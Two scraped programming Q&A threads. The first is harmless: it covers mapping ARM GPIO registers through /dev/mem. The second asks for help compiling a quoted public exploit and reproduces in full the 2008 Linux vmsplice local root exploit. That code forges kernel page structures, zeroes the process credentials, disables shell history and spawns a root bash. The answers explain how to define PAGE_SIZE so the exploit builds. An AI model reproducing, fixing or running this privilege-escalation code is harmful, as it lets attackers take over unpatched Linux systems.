#define PIO_PUER_BANK_D 0xFFFFFA64 // PIO Pull-Up Enable Register Bank D
#define PIO_PUSR_BANK_D 0xFFFFFA68 // PIO Pull-Up Status Register Bank D
#define MASK_LED7 0xFFDFFFFF // LED7 Mask
#define DESABLE_WRITE_PROTECTION_BANK_D 0x50494F00 // Desable write protection Bank D
int main(void) {
printf("test");
unsigned int volatile * const register_PIO_WPMR_BANK_D = (unsigned int *) PIO_WPMR_BANK_D;
unsigned int volatile * const register_PIO_PUSR_BANK_D = (unsigned int *) PIO_PUSR_BANK_D;
unsigned int volatile * const port_D = (unsigned int *) PIO_PUER_BANK_D;
*register_PIO_WPMR_BANK_D = DESABLE_WRITE_PROTECTION_BANK_D;
*port_D = *register_PIO_PUSR_BANK_D & MASK_LED7;
return 0; }
I cross compiled my code in Ubuntu 16.04 like so arm-linux-gnueabi-gcc gpio.c -o gpio But I have a Segmentation Fault just after the printf during the execution of the program on my board. I know the addresses are right... So why do I have this error?Is it the good way ?Thank you for your help !
SOLUTION :
Thank you to #vlk I could make it work ! Here is a little example for toggling a LED :
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#define handle_error(msg) \
do { perror(msg); exit(EXIT_FAILURE); } while (0)
#define _PIOD_BANK_D 0xA00
#define _PIO_OFFSET 0xFFFFF000
/* When executing this on the board :
long sz = sysconf(_SC_PAGESIZE);
printf("%ld\n\r",sz);
We have 4096.
*/
#define _MAP_SIZE 0x1000 // 4096
#define _WPMR_OFFSET 0x0E4 // PIO Write Protection Mode Register Bank D
#define _PIO_ENABLE 0x000
#define _PIO_DISABLE 0x004
#define _PIO_STATUS 0x008
#define _OUTPUT_ENABLE 0x010
#define _OUTPUT_DISABLE 0x014
#define _OUTPUT_STATUS 0x018
#define _FILTER_ENABLE 0x020
#define _FILTER_DISABLE 0x024
#define _FILTER_STATUS 0x028
#define _OUTPUT_DATA_SET 0x030
#define _OUTPUT_DATA_CLEAR 0x034
#define _OUTPUT_DATA_STATUS 0x038
#define _PIN_DATA_STATUS 0x03c
#define _MULTI_DRIVER_ENABLE 0x050
#define _MULTI_DRIVER_DISABLE 0x054
#define _MULTI_DRIVER_STATUS 0x058
#define _PULL_UP_DISABLE 0x060
#define _PULL_UP_ENABLE 0x064
#define _PULL_UP_STATUS 0x068
#define _PULL_DOWN_DISABLE 0x090
#define _PULL_DOWN_ENABLE 0x094
#define _PULL_DOWN_STATUS 0x098
#define _DISABLE_WRITE_PROTECTION 0x50494F00 // Desable write protection
#define LED_PIN 21
int main(void) {
volatile void *gpio_addr;
volatile unsigned int *gpio_enable_addr;
volatile unsigned int *gpio_output_mode_addr;
volatile unsigned int *gpio_output_set_addr;
volatile unsigned int *gpio_output_clear_addr;
volatile unsigned int *gpio_data_status_addr;
volatile unsigned int *gpio_write_protection_addr;
int fd = open("/dev/mem", O_RDWR|O_SYNC);
if (fd < 0){
fprintf(stderr, "Unable to open port\n\r");
exit(fd);
}
gpio_addr = mmap(NULL, _MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, _PIO_OFFSET);
if(gpio_addr == MAP_FAILED){
handle_error("mmap");
}
gpio_write_protection_addr = gpio_addr + _PIOD_BANK_D + _WPMR_OFFSET;
gpio_enable_addr = gpio_addr + _PIOD_BANK_D + _PIO_ENABLE;
gpio_output_mode_addr = gpio_addr + _PIOD_BANK_D + _OUTPUT_ENABLE;
gpio_output_set_addr = gpio_addr + _PIOD_BANK_D + _OUTPUT_DATA_SET;
gpio_output_clear_addr = gpio_addr + _PIOD_BANK_D + _OUTPUT_DATA_CLEAR;
gpio_data_status_addr = gpio_addr + _PIOD_BANK_D + _OUTPUT_DATA_STATUS;
*gpio_write_protection_addr = _DISABLE_WRITE_PROTECTION;
*gpio_enable_addr = 1 << LED_PIN;
*gpio_output_mode_addr = 1 << LED_PIN; // Output
// If LED
if((*gpio_data_status_addr & (1<<LED_PIN)) > 0){
*gpio_output_clear_addr = 1 << LED_PIN;
}else{
*gpio_output_set_addr = 1 << LED_PIN;
}
return 0;
}
EDIT :
Answer for the 3) in the comments. You have to change the mmap and the assignations like so if you want it to work with all the offsets (i.e : mmap example):
#define _PIO_OFFSET 0xFFFFFA00 // Instead of 0xFFFFF000
#define _MAP_SIZE 0x1000 // 4096
#define _MAP_MASK (_MAP_SIZE - 1)
#define _PA_OFFSET _PIO_OFFSET & ~_MAP_MASK
And the mmap :
gpio_addr = mmap(NULL, _MAP_SIZE + _PIO_OFFSET - _PA_OFFSET, PROT_READ | PROT_WRITE, MAP_SHARED, fd, _PA_OFFSET);
And for the assignation :
gpio_enable_addr = gpio_addr + _PIO_OFFSET - (_PA_OFFSET) + _PIO_ENABLE;
You can't access registers directly, because Linux use MMU and this create for your application virtual address space which is different than physical MCU address space and access outside this virtual address space cause segmentation fault.
Only Way to access these registers in Linux (if you don't want to write kernel drivers) is to open file /dev/mem as file and map it with mmap
For example I have small python library for access GPIO registers on Atmel SAM MCU gpiosam. You can inspire and port it to C.
busybox devmem
busybox devmem is a tiny CLI utility that mmaps /dev/mem.
You can get it in Ubuntu with: sudo apt-get install busybox
Usage: read 4 bytes from the physical address 0x12345678:
sudo busybox devmem 0x12345678
Write 0x9abcdef0 to that address:
sudo busybox devmem 0x12345678 w 0x9abcdef0
See this for a few tips on how to test it out: Accessing physical address from user space
Also mentioned at: https://unix.stackexchange.com/questions/4948/shell-command-to-read-device-registers

PAGE_SIZE undeclared C

I am having some issues compiling / fixing a script due to the fact I am not well versed in the C language.
I would appreciate some help fixing the issues!
I get the following errors:
error: ‘PAGE_SIZE’ undeclared (first use in this function)
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
This error is because PAGE_SIZE is set within asm/page.h (as far as I am aware)
the code is below and from https://www.exploit-db.com/exploits/5092/
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
// #include <asm/page.h>
// ^^ this was originally causing me issues, due to the fact this is compiled
//within the kernel
#define __KERNEL__
#include <asm/page.h> //moving it here fixed location error, but now I get the new issue
#include <asm/unistd.h>
#define PIPE_BUFFERS 16
#define PG_compound 14
#define uint unsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x) (x + sizeof(x) - 40)
struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};
void exit_code();
char exit_stack[1024 * 1024];
void die(char *msg, int err)
{
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}
#if defined (__i386__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}
#elif defined (__x86_64__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif
#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movq %%gs:(0), %0"
: "=r" (curr)
);
return (void *) curr;
}
#else
#error "unsupported arch"
#endif
#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)
#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif
static uint uid, gid;
void kernel_code()
{
int i;
uint *p = get_current();
for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
exit_kernel();
}
void exit_code()
{
if (getuid() != 0)
die("wtf", 0);
printf("[+] root\n");
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
die("/bin/bash", errno);
}
int main(int argc, char *argv[])
{
int pi[2];
size_t map_size;
char * map_addr;
struct iovec iov;
struct page * pages[5];
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
printf("-----------------------------------\n");
printf(" Linux vmsplice Local Root Exploit\n");
printf(" By qaaz\n");
printf("-----------------------------------\n");
if (!uid || !gid)
die("!##$", 0);
/*****/
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
pages[1] = pages[0] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[0]);
printf("[+] page: 0x%lx\n", pages[1]);
pages[0]->flags = 1 << PG_compound;
pages[0]->private = (unsigned long) pages[0];
pages[0]->count = 1;
pages[1]->lru.next = (long) kernel_code;
/*****/
pages[2] = *(void **) pages[0];
pages[3] = pages[2] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[2]);
printf("[+] page: 0x%lx\n", pages[3]);
pages[2]->flags = 1 << PG_compound;
pages[2]->private = (unsigned long) pages[2];
pages[2]->count = 1;
pages[3]->lru.next = (long) kernel_code;
/*****/
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
map_size = PAGE_SIZE;
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[4]);
/*****/
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
/*****/
map_size -= 2 * PAGE_SIZE;
if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
die("munmap", errno);
/*****/
if (pipe(pi) < 0) die("pipe", errno);
close(pi[0]);
iov.iov_base = map_addr;
iov.iov_len = ULONG_MAX;
signal(SIGPIPE, exit_code);
_vmsplice(pi[1], &iov, 1, 0);
die("vmsplice", errno);
return 0;
}
// milw0rm.com [2008-02-09]
Using a compile-time constant for the page size of your system is typically not a smart thing to do, as it's not necessarily constant. For example, on the latest x86 CPUs, your operating system can choose between using 4 KiB, 2 MiB and even 1 GiB pages (or even combine them in the same address space). For this reason, POSIX hasn't standardized the PAGE_SIZE constant.
Many systems therefore provide a getpagesize() function, but keep in mind that the POSIX standardized way of obtaining the page size is by using the sysconf() function:
#include <stdio.h>
#include <unistd.h>
int main() {
printf("%lu\n", sysconf(_SC_PAGESIZE));
}
On my Mac, this program prints the number 4096.
PAGE_SIZE is only declared in the kernel headers. You can get the current page size from userland using getpagesize() from unistd.h though, e.g.
#include <unistd.h>
int main() {
size_t psize = getpagesize();
}
For me
#include <sys/user.h>
does the trick. The file is part of glibc-headers.
Heylo. I had similar trouble compiling the excellent memfetch tool by the veritable techie and fellow countryman Michael Zalewski. Anyway after getting sick of messing around with the problem and searches that led to no answers (like this post, for example), I solved my problem.
I took this straight from the asm/page.h file:
/* PAGE_SHIFT determines the page size */
#define PAGE_SHIFT 12
#ifdef __ASSEMBLY__
#define PAGE_SIZE (1 << PAGE_SHIFT)
#else
#define PAGE_SIZE (1UL << PAGE_SHIFT)
#endif
#define PAGE_MASK (~(PAGE_SIZE-1))
And I dropped it into the C file that needed compiling. In this case, memfetch.c
I dropped it in right after the includes, in with the code's own set of DEFINEs.
Worked like a charm and the program - a memory mapper seems to be working great. I've just done it - can't say yet if for example the pages or mem values are off or anything.
Note - Go grab your own asm/page.h defines. Actually I think they were in asm-generic/page.h Dunno if they are diff; most certainly are on an x86_64.
Good luck!

Resources